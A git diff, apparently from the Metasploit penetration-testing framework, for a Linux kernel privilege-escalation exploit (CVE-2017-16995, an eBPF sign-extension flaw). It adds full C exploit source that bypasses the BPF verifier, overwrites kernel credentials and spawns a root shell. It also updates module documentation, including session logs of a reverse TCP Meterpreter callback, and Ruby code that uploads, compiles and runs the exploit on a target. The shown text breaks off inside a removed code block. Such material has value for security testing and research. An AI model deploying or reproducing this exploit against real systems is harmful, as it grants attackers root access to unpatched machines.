diff --git a/data/exploits/cve-2017-16995/exploit.c b/data/exploits/cve-2017-16995/exploit.c new file mode 100644 index 0000000000..0e131151b3 --- /dev/null +++ b/data/exploits/cve-2017-16995/exploit.c @@ -0,0 +1,496 @@ +/* + Credit @bleidl, this is a slight modification to his original POC + https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c + + For details on how the exploit works, please visit + https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html + + Tested on Ubuntu 16.04 with the following Kernels + 4.4.0-31-generic + 4.4.0-62-generic + 4.4.0-81-generic + 4.4.0-116-generic + 4.8.0-58-generic + 4.10.0.42-generic + 4.13.0-21-generic + + Tested on Fedora 27 + 4.13.9-300 + gcc cve-2017-16995.c -o cve-2017-16995 + internet@client:~/cve-2017-16995$ ./cve-2017-16995 + [.] + [.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t) + [.] + [.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel ** + [.] + [*] creating bpf map + [*] sneaking evil bpf past the verifier + [*] creating socketpair() + [*] attaching bpf backdoor to socket + [*] skbuff => ffff880038c3f500 + [*] Leaking sock struct from ffff88003af5e180 + [*] Sock->sk_rcvtimeo at offset 472 + [*] Cred structure at ffff880038704600 + [*] UID from cred structure: 1000, matches the current: 1000 + [*] hammering cred structure at ffff880038704600 + [*] credentials patched, launching shell... + #id + uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet) + +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +char buffer[64]; +int sockets[2]; +int mapfd, progfd; +int doredact = 0; + +#define LOG_BUF_SIZE 65536 +#define PHYS_OFFSET 0xffff880000000000 +char bpf_log_buf[LOG_BUF_SIZE]; + +static __u64 ptr_to_u64(void *ptr) +{ + return (__u64) (unsigned long) ptr; +} + +int bpf_prog_load(enum bpf_prog_type prog_type, + const struct bpf_insn *insns, int prog_len, + const char *license, int kern_version) +{ + union bpf_attr attr = { + .prog_type = prog_type, + .insns = ptr_to_u64((void *) insns), + .insn_cnt = prog_len / sizeof(struct bpf_insn), + .license = ptr_to_u64((void *) license), + .log_buf = ptr_to_u64(bpf_log_buf), + .log_size = LOG_BUF_SIZE, + .log_level = 1, + }; + + attr.kern_version = kern_version; + + bpf_log_buf[0] = 0; + + return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); +} + +int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, + int max_entries, int map_flags) +{ + union bpf_attr attr = { + .map_type = map_type, + .key_size = key_size, + .value_size = value_size, + .max_entries = max_entries + }; + + return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); +} + +int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags) +{ + union bpf_attr attr = { + .map_fd = fd, + .key = ptr_to_u64(key), + .value = ptr_to_u64(value), + .flags = flags, + }; + + return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); +} + +int bpf_lookup_elem(int fd, void *key, void *value) +{ + union bpf_attr attr = { + .map_fd = fd, + .key = ptr_to_u64(key), + .value = ptr_to_u64(value), + }; + + return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); +} + +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV32_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV32_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_LD_IMM64(DST, IMM) \ + BPF_LD_IMM64_RAW(DST, 0, IMM) + +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) + +#ifndef BPF_PSEUDO_MAP_FD +# define BPF_PSEUDO_MAP_FD 1 +#endif + +#define BPF_LD_MAP_FD(DST, MAP_FD) \ + BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) + +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = CODE, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_DISABLE_VERIFIER() \ + BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \ + BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \ + BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \ + BPF_EXIT_INSN() /* } */ \ + +#define BPF_MAP_GET(idx, dst) \ + BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \ + BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \ + BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \ + BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \ + BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \ + BPF_EXIT_INSN(), /* exit(0); */ \ + BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ + +static int load_prog() { + struct bpf_insn prog[] = { + BPF_DISABLE_VERIFIER(), + + BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */ + + BPF_LD_MAP_FD(BPF_REG_9, mapfd), + + BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */ + BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */ + BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */ + + /* store map slot address in r2 */ + BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */ + BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */ + + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */ + /* get fp */ + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), + BPF_EXIT_INSN(), + + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */ + /* get skbuff */ + BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16), + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), + BPF_EXIT_INSN(), + + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */ + /* read */ + BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0), + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), + BPF_EXIT_INSN(), + /* else */ + /* write */ + BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), + BPF_EXIT_INSN(), + + }; + return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0); +} + +void info(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + fprintf(stdout, "[.] "); + vfprintf(stdout, fmt, args); + va_end(args); +} + +void msg(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + fprintf(stdout, "[*] "); + vfprintf(stdout, fmt, args); + va_end(args); +} + +void redact(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + if(doredact) { + fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n"); + return; + } + fprintf(stdout, "[*] "); + vfprintf(stdout, fmt, args); + va_end(args); +} + +void fail(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + fprintf(stdout, "[!] "); + vfprintf(stdout, fmt, args); + va_end(args); + exit(1); +} + +void +initialize() { + info("\n"); + info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n"); + info("\n"); + info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n"); + info("\n"); + + redact("creating bpf map\n"); + mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0); + if (mapfd < 0) { + fail("failed to create bpf map: '%s'\n", strerror(errno)); + } + + redact("sneaking evil bpf past the verifier\n"); + progfd = load_prog(); + if (progfd < 0) { + if (errno == EACCES) { + msg("log:\n%s", bpf_log_buf); + } + fail("failed to load prog '%s'\n", strerror(errno)); + } + + redact("creating socketpair()\n"); + if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) { + fail("failed to create socket pair '%s'\n", strerror(errno)); + } + + redact("attaching bpf backdoor to socket\n"); + if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) { + fail("setsockopt '%s'\n", strerror(errno)); + } +} + +static void writemsg() { + ssize_t n = write(sockets[0], buffer, sizeof(buffer)); + if (n < 0) { + perror("write"); + return; + } + if (n != sizeof(buffer)) { + fprintf(stderr, "short write: %zd\n", n); + } +} + +static void +update_elem(int key, unsigned long value) { + if (bpf_update_elem(mapfd, &key, &value, 0)) { + fail("bpf_update_elem failed '%s'\n", strerror(errno)); + } +} + +static unsigned long +get_value(int key) { + unsigned long value; + if (bpf_lookup_elem(mapfd, &key, &value)) { + fail("bpf_lookup_elem failed '%s'\n", strerror(errno)); + } + return value; +} + +static unsigned long +sendcmd(unsigned long op, unsigned long addr, unsigned long value) { + update_elem(0, op); + update_elem(1, addr); + update_elem(2, value); + writemsg(); + return get_value(2); +} + +unsigned long +get_skbuff() { + return sendcmd(1, 0, 0); +} + +unsigned long +get_fp() { + return sendcmd(0, 0, 0); +} + +unsigned long +read64(unsigned long addr) { + return sendcmd(2, addr, 0); +} + +void +write64(unsigned long addr, unsigned long val) { + (void)sendcmd(3, addr, val); +} + +static unsigned long find_cred() { + uid_t uid = getuid(); + unsigned long skbuff = get_skbuff(); + /* + * struct sk_buff { + * [...24 byte offset...] + * struct sock *sk; + * }; + * + */ + + unsigned long sock_addr = read64(skbuff + 24); + msg("skbuff => %llx\n", skbuff); + msg("Leaking sock struct from %llx\n", sock_addr); + if(sock_addr < PHYS_OFFSET){ + fail("Failed to find Sock address from sk_buff.\n"); + } + + /* + * scan forward for expected sk_rcvtimeo value. + * + * struct sock { + * [...] + * const struct cred *sk_peer_cred; + * long sk_rcvtimeo; + * }; + */ + for (int i = 0; i < 100; i++, sock_addr += 8) { + if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) { + unsigned long cred_struct = read64(sock_addr - 8); + if(cred_struct < PHYS_OFFSET) { + continue; + } + + unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF); + + if(test_uid != uid) { + continue; + } + msg("Sock->sk_rcvtimeo at offset %d\n", i * 8); + msg("Cred structure at %llx\n", cred_struct); + msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid); + + return cred_struct; + } + } + fail("failed to find sk_rcvtimeo.\n"); +} + +static void +hammer_cred(unsigned long addr) { + msg("hammering cred structure at %llx\n", addr); +#define w64(w) { write64(addr, (w)); addr += 8; } + unsigned long val = read64(addr) & 0xFFFFFFFFUL; + w64(val); + w64(0); w64(0); w64(0); w64(0); + w64(0xFFFFFFFFFFFFFFFF); + w64(0xFFFFFFFFFFFFFFFF); + w64(0xFFFFFFFFFFFFFFFF); +#undef w64 +} + +int +main(int argc, char **argv) { + initialize(); + hammer_cred(find_cred()); + msg("credentials patched, launching shell...\n"); + if(execl("/bin/sh", "/bin/sh", NULL)) { + fail("exec %s\n", strerror(errno)); + } +} + diff --git a/data/exploits/cve-2017-16995/exploit.out b/data/exploits/cve-2017-16995/exploit.out index f418861d45..3a7bd332f6 100644 Binary files a/data/exploits/cve-2017-16995/exploit.out and b/data/exploits/cve-2017-16995/exploit.out differ diff --git a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md index f84803cfcc..5ce960dbbf 100644 --- a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md +++ b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md @@ -1,20 +1,29 @@ ## Vulnerable Application -This module exploits the Berkeley Packet Filter in the Linux kernel prior to 4.13.0, -which contains a vulnerability where it may improperly perform sign extentension. -This can be utilized to priv escalate. However, this module's offsets and -other parameters have only been set and tested against the 4.4.0-116 kernel. + Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF) + which contains a vulnerability where it may improperly perform sign + extension. This can be utilized to escalate privileges. -This module has been successfully tested on: + The target system must be compiled with BPF support and must not have + `kernel.unprivileged_bpf_disabled` set to `1`. - * Ubuntu 16.04 with the 4.4.0-116 kernel - * Linux Mint 18 with the 4.4.0-116-generic kernel + This module has been tested successfully on: -### Meterpreter Exception - -Due to a bug, this exploit can only be run on a non-meterpreter shell. -When run on meterpreter, or a shell spawned by meterpreter, the error `error: Invalid argument` -is thrown by the executable. + * Debian 9.0 kernel 4.9.0-3-amd64; + * Deepin 15.5 kernel 4.9.0-deepin13-amd64; + * ElementaryOS 0.4.1 kernel 4.8.0-52-generic; + * Fedora 25 kernel 4.8.6-300.fc25.x86_64; + * Fedora 26 kernel 4.11.8-300.fc26.x86_64; + * Fedora 27 kernel 4.13.9-300.fc27.x86_64; + * Linux Mint 17.3 kernel 4.4.0-89-generic; + * Linux Mint 18.0 kernel 4.8.0-58-generic; + * Linux Mint 18.3 kernel 4.13.0-16-generic; + * Mageia 6 kernel 4.9.35-desktop-1.mga6; + * Ubuntu 14.04.1 kernel 4.4.0-89-generic; + * Ubuntu 16.04.2 kernel 4.8.0-45-generic; + * Ubuntu 16.04.3 kernel 4.10.0-28-generic; + * Ubuntu 17.04 kernel 4.10.0-19-generic; + * ZorinOS 12.1 kernel 4.8.0-39-generic. ## Verification Steps @@ -145,55 +154,31 @@ It is possible to force pre-compiled binaries, in a scenario where `build-essent BuildTuple : x86_64-linux-musl Meterpreter : x64/linux ``` -### Linux Mint 18 + +### Debian 9.0 (x86_64) ``` - msf5 exploit(multi/handler) > use exploit/linux/local/bpf_sign_extension_priv_esc - msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set verbose true - verbose => true + msf5 > use exploit/linux/local/bpf_sign_extension_priv_esc msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > check - - [!] SESSION may not be compatible with this module. - [+] Kernel confirmed vulnerable - [*] The target appears to be vulnerable. - msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set lhost 172.16.191.188 - lhost => 172.16.191.188 + msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set compile False + compile => False msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > run - - [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 172.16.191.188:4444 - [+] Kernel confirmed vulnerable - [+] gcc is installed - [*] Live compiling exploit on system - [*] Writing files to target - [*] Writing UVQYvBTJ to /tmp/UVQYvBTJ.c - [*] Max line length is 65537 - [*] Writing 7773 bytes in 1 chunks of 26765 bytes (octal-encoded), using printf - [*] Writing ljJApCaK to /tmp/ljJApCaK - [*] Max line length is 65537 - [*] Writing 283 bytes in 1 chunks of 845 bytes (octal-encoded), using printf - [*] Starting execution of priv esc. - [*] Transmitting intermediate stager...(126 bytes) - [*] Sending stage (812100 bytes) to 172.16.191.207 - [*] task_struct = ffff88003ce84600 - [*] uidptr = ffff88003cc46f04 - [*] spawning root shell - [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.207:48276) at 2018-03-24 22:46:58 -0400 - [+] Deleted /tmp/UVQYvBTJ.c - [+] Deleted /tmp/UVQYvBTJ - [+] Deleted /tmp/ljJApCaK - [!] This exploit may require manual cleanup of '/tmp/UVQYvBTJ.c' on the target - [!] This exploit may require manual cleanup of '/tmp/UVQYvBTJ' on the target - [!] This exploit may require manual cleanup of '/tmp/ljJApCaK' on the target - + [*] Writing '/tmp/.JBJBxoEO' (34784 bytes) ... + [*] Writing '/tmp/.1pZhL1gc' (207 bytes) ... + [*] Launching exploit ... + [*] Sending stage (861480 bytes) to 172.16.191.236 + [*] Cleaning up /tmp/.1pZhL1gc and /tmp/.JBJBxoEO ... + meterpreter > getuid Server username: uid=0, gid=0, euid=0, egid=0 meterpreter > sysinfo - Computer : 172.16.191.207 - OS : LinuxMint 18 (Linux 4.4.0-116-generic) + Computer : debian-9-0-x64.local + OS : Debian 9.4 (Linux 4.9.0-3-amd64) Architecture : x64 - BuildTuple : x86_64-linux-musl - Meterpreter : x64/linux + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + meterpreter > ``` diff --git a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb index 2f12cb0075..9983793219 100644 --- a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb @@ -7,70 +7,92 @@ class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Linux::Priv + include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) - super( update_info( info, - 'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation', - 'Description' => %q{ - Linux kernel prior to 4.13.0 utilizes the Berkeley Packet Filter - which contains a vulnerability where it may improperly perform - sign extension. This can be utilized to escalate privileges. - This module has been tested on Ubuntu 16.04 with the 4.4.0-116 - kernel, and Linux Mint 18 with the 4.4.0-116-generic kernel. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'bleidl', # discovery - 'vnik', # edb - 'h00die' # metasploit module - ], - 'Platform' => [ 'linux' ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'SessionTypes' => [ 'shell' ], - 'References' => - [ - [ 'CVE', '2017-16995' ], - [ 'EDB', '44298' ], - [ 'URL', 'https://usn.ubuntu.com/3523-2/' ], - [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ] - ], - 'Targets' => - [ - [ 'Linux x64', { 'Arch' => ARCH_X64 } ], - [ 'Linux x86', { 'Arch' => ARCH_X86 } ] - ], - 'DefaultOptions' => - { - 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', - 'PrependFork' => true - }, - 'DisclosureDate' => 'Nov 12 2017', - 'Privileged' => true, - 'DefaultTarget' => 0)) + super(update_info(info, + 'Name' => 'Linux BPF Sign Extension Local Privilege Escalation', + 'Description' => %q{ + Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF) + which contains a vulnerability where it may improperly perform sign + extension. This can be utilized to escalate privileges. + + The target system must be compiled with BPF support and must not have + kernel.unprivileged_bpf_disabled set to 1. + + This module has been tested successfully on: + + Debian 9.0 kernel 4.9.0-3-amd64; + Deepin 15.5 kernel 4.9.0-deepin13-amd64; + ElementaryOS 0.4.1 kernel 4.8.0-52-generic; + Fedora 25 kernel 4.8.6-300.fc25.x86_64; + Fedora 26 kernel 4.11.8-300.fc26.x86_64; + Fedora 27 kernel 4.13.9-300.fc27.x86_64; + Linux Mint 17.3 kernel 4.4.0-89-generic; + Linux Mint 18.0 kernel 4.8.0-58-generic; + Linux Mint 18.3 kernel 4.13.0-16-generic; + Mageia 6 kernel 4.9.35-desktop-1.mga6; + Ubuntu 14.04.1 kernel 4.4.0-89-generic; + Ubuntu 16.04.2 kernel 4.8.0-45-generic; + Ubuntu 16.04.3 kernel 4.10.0-28-generic; + Ubuntu 17.04 kernel 4.10.0-19-generic; + ZorinOS 12.1 kernel 4.8.0-39-generic. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jann Horn', # Discovery + 'bleidl', # Discovery and get-rekt-linux-hardened.c exploit + 'vnik', # upstream44.c exploit + 'rlarabee', # cve-2017-16995.c exploit + 'h00die', # Metasploit + 'bcoles' # Metasploit + ], + 'DisclosureDate' => 'Nov 12 2017', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => + [ + [ 'AKA', 'get-rekt-linux-hardened.c' ], + [ 'AKA', 'upstream44.c' ], + [ 'BID', '102288' ], + [ 'CVE', '2017-16995' ], + [ 'EDB', '44298' ], + [ 'EDB', '45010' ], + [ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ], + [ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ], + [ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ], + [ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ], + [ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ], + [ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ], + [ 'URL', 'https://usn.ubuntu.com/3523-2/' ], + [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ], + [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ], + [ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'], + [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ] + ], + 'DefaultTarget' => 0)) register_options [ - OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), - OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir - datastore['WritableDir'] - end - - def command_exists?(cmd) - cmd_exec("command -v #{cmd} && echo true").include? 'true' + datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data - register_file_for_cleanup path end def upload_and_chmodx(path, data) @@ -78,14 +100,46 @@ class MetasploitModule < Msf::Exploit::Local cmd_exec "chmod +x '#{path}'" end - def check - version = kernel_release - unless version.start_with? '4.4.0-116-generic' - vprint_error "Kernel version #{version} is not vulnerable" - return CheckCode::Safe - end - vprint_good "Kernel version #{version} appears to be vulnerable" + def upload_and_compile(path, data) + upload "#{path}.c", data + gcc_cmd = "gcc -o #{path} #{path}.c" + if session.type.eql? 'shell' + gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" + end + output = cmd_exec gcc_cmd + rm_f "#{path}.c" + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable." + end + + cmd_exec "chmod +x #{path}" + end + + def exploit_data(file) + path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file + fd = ::File.open path, 'rb' + data = fd.read fd.stat.size + fd.close + data + end + + def live_compile? + return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + + if has_gcc? + vprint_good 'gcc is installed' + return true + end + + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' + end + end + + def check arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" @@ -93,18 +147,24 @@ class MetasploitModule < Msf::Exploit::Local end vprint_good "System architecture #{arch} is supported" - if session.type.to_s.eql? 'meterpreter' - vprint_error 'Exploit can only be run on command shell sessions (Meterpreter does not work)' + if unprivileged_bpf_disabled? + vprint_error 'Unprivileged BPF loading is not permitted' + return CheckCode::Safe end + vprint_good 'Unprivileged BPF loading is permitted' + + release = kernel_release + if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') || + Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0') + vprint_error "Kernel version #{release} is not vulnerable" + return CheckCode::Safe + end + vprint_good "Kernel version #{release} appears to be vulnerable" CheckCode::Appears end def exploit - if session.type.to_s.eql? 'meterpreter' - fail_with Failure::BadConfig, 'Exploit can only be run on command shell sessions (Meterpreter does not work)' - end - unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!' end @@ -117,295 +177,27 @@ class MetasploitModule < Msf::Exploit::Local fail_with Failure::BadConfig, "#{base_dir} is not writable" end - compile = false - if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') - if command_exists? 'gcc' - vprint_good 'gcc is installed' - compile = true - else - unless datastore['COMPILE'].eql? 'Auto' - fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' - end - end - end - - c_code = %q{ - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - - #define PHYS_OFFSET 0xffff880000000000 - #define CRED_OFFSET 0x5f8 - #define UID_OFFSET 4 - #define LOG_BUF_SIZE 65536 - #define PROGSIZE 328 - - int sockets[2]; - int mapfd, progfd; - - char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff" - "\x55\x09\x02\x00\xff\xff\xff\xff" - "\xb7\x00\x00\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x18\x19\x00\x00\x03\x00\x00\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00" - "\xbf\x91\x00\x00\x00\x00\x00\x00" - "\xbf\xa2\x00\x00\x00\x00\x00\x00" - "\x07\x02\x00\x00\xfc\xff\xff\xff" - "\x62\x0a\xfc\xff\x00\x00\x00\x00" - "\x85\x00\x00\x00\x01\x00\x00\x00" - "\x55\x00\x01\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x79\x06\x00\x00\x00\x00\x00\x00" - "\xbf\x91\x00\x00\x00\x00\x00\x00" - "\xbf\xa2\x00\x00\x00\x00\x00\x00" - "\x07\x02\x00\x00\xfc\xff\xff\xff" - "\x62\x0a\xfc\xff\x01\x00\x00\x00" - "\x85\x00\x00\x00\x01\x00\x00\x00" - "\x55\x00\x01\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x79\x07\x00\x00\x00\x00\x00\x00" - "\xbf\x91\x00\x00\x00\x00\x00\x00" - "\xbf\xa2\x00\x00\x00\x00\x00\x00" - "\x07\x02\x00\x00\xfc\xff\xff\xff" - "\x62\x0a\xfc\xff\x02\x00\x00\x00" - "\x85\x00\x00\x00\x01\x00\x00\x00" - "\x55\x00\x01\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x79\x08\x00\x00\x00\x00\x00\x00" - "\xbf\x02\x00\x00\x00\x00\x00\x00" - "\xb7\x00\x00\x00\x00\x00\x00\x00" - "\x55\x06\x03\x00\x00\x00\x00\x00" - "\x79\x73\x00\x00\x00\x00\x00\x00" - 